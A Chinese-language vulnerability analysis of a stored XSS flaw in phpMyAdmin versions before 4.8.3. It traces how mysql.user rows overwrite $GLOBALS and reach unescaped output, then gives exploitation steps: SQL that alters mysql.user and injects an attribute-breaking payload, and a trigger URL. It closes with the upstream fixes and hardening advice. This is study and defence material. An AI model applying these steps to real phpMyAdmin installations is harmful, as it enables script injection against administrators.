phpmyadmin<4.8.3 XSS挖掘
字数 1048 2025-08-25 22:58:46
phpMyAdmin <4.8.3 XSS漏洞分析与利用
漏洞概述
phpMyAdmin在4.8.3版本之前存在一个存储型XSS漏洞,攻击者可以通过精心构造的SQL语句向mysql.user表中插入恶意数据,最终导致XSS攻击。该漏洞源于$GLOBALS全局变量的不安全使用和缺乏适当的输入过滤。
漏洞影响版本
phpMyAdmin < 4.8.3
环境准备
-
软件需求:
- phpMyAdmin 4.8.2
- PHPStorm(用于调试)
- phpstudy(包含xdebug)
-
xdebug配置:
xdebug.remote_enable=1 # 开启远程调试 xdebug.idekey='PHPSTORM' # sessionkey xdebug.remote_port=9001 # 远程调试通信端口 zend_extension = D:\phpStudy\PHPTutorial\php\php-7.2.1-nts\ext\php_xdebug-2.9.4-7.2-vc15-nts.dll
漏洞原理分析
关键代码点
-
全局变量覆盖:
/libraries/classes/Server/Privileges.php第3977行:foreach ($row as $key => $value) { $GLOBALS[$key] = $value; }这段代码将
mysql.user表的查询结果直接赋值给$GLOBALS全局变量。 -
SQL查询构造:
/libraries/classes/Server/Privileges.php第3966行:$user_host_condition = ' WHERE `User` = ' . "'" . $GLOBALS['dbi']->escapeString($_REQUEST['old_username']) . "'" . ' AND `Host` = ' . "'" . $GLOBALS['dbi']->escapeString($_REQUEST['old_hostname']) . "';"; $row = $GLOBALS['dbi']->fetchSingleRow( 'SELECT * FROM `mysql`.`user` ' . $user_host_condition ); -
XSS触发点:
/libraries/classes/Navigation/NavigationTree.php第1272行:$retval .= '<select name="db" class="hide" id="navi_db_select">' . '<option value="" dir="' . $GLOBALS['text_dir'] . '">'这里直接使用了未过滤的
$GLOBALS['text_dir']值。
漏洞利用链
- 通过
server_privileges.php页面触发getDataForChangeOrCopyUser()函数 - 该函数从
mysql.user表查询数据并赋值给$GLOBALS - 程序结束时调用
Response类的response()方法 - 最终通过
NavigationTree类的renderDbSelect()方法输出未过滤的$GLOBALS['text_dir']
漏洞利用步骤
1. 修改mysql.user表结构
ALTER TABLE user ADD text_dir varchar(255);
2. 插入恶意数据
INSERT INTO `user` (`Host`, `User`, `Password`, `Select_priv`, `Insert_priv`, `Update_priv`, `Delete_priv`, `Create_priv`, `Drop_priv`, `Reload_priv`, `Shutdown_priv`, `Process_priv`, `File_priv`, `Grant_priv`, `References_priv`, `Index_priv`, `Alter_priv`, `Show_db_priv`, `Super_priv`, `Create_tmp_table_priv`, `Lock_tables_priv`, `Execute_priv`, `Repl_slave_priv`, `Repl_client_priv`, `Create_view_priv`, `Show_view_priv`, `Create_routine_priv`, `Alter_routine_priv`, `Create_user_priv`, `Event_priv`, `Trigger_priv`, `Create_tablespace_priv`, `ssl_type`, `max_questions`, `max_updates`, `max_connections`, `max_user_connections`, `plugin`, `authentication_string`, `text_dir`)
VALUES ('127.0.0.1', 'test', '*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '', '0', '0', '0', '0', '', '', '\"><option dir=\"');
或者更新现有记录:
ALTER TABLE `user` CHANGE `xz` `text_dir` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_bin NULL DEFAULT NULL;
UPDATE `user` SET `text_dir` = '\"><option dir=\"' WHERE `user`.`Host` = '127.0.0.1' AND `user`.`User` = 'test';
3. 触发漏洞
访问以下URL(注意mode参数必须大于4):
http://127.0.0.1/phpMyAdmin-4.8.2/server_privileges.php?change_copy=aa&old_username=test&old_hostname=127.0.0.1&mode=5
修复方案
-
phpMyAdmin 4.8.3修复:
- 将
$_REQUEST替换为$_POST - 在
common.inc.php中增加对POST请求的token校验:if ($_SERVER['REQUEST_METHOD'] == 'POST') { if (Core::isValid($_POST['token'])) { $token_provided = true; $token_mismatch = ! @hash_equals($_SESSION[' PMA_token '], $_POST['token']); } }
- 将
-
phpMyAdmin 5.0.2修复:
- 在输出时增加了
htmlspecialchars过滤:$options .= '<option value="' . htmlspecialchars($node->realName) . '"' . ' title="' . htmlspecialchars($title) . '"' . ' apath="' . $paths['aPath'] . '"' . ' vpath="' . $paths['vPath'] . '"' . ' pos="' . $this->pos . '"';
- 在输出时增加了
安全建议
- 及时升级到最新版本的phpMyAdmin
- 避免使用具有高权限的MySQL账户运行phpMyAdmin
- 定期审计数据库表结构,防止异常字段添加
- 对所有用户输入进行严格的过滤和转义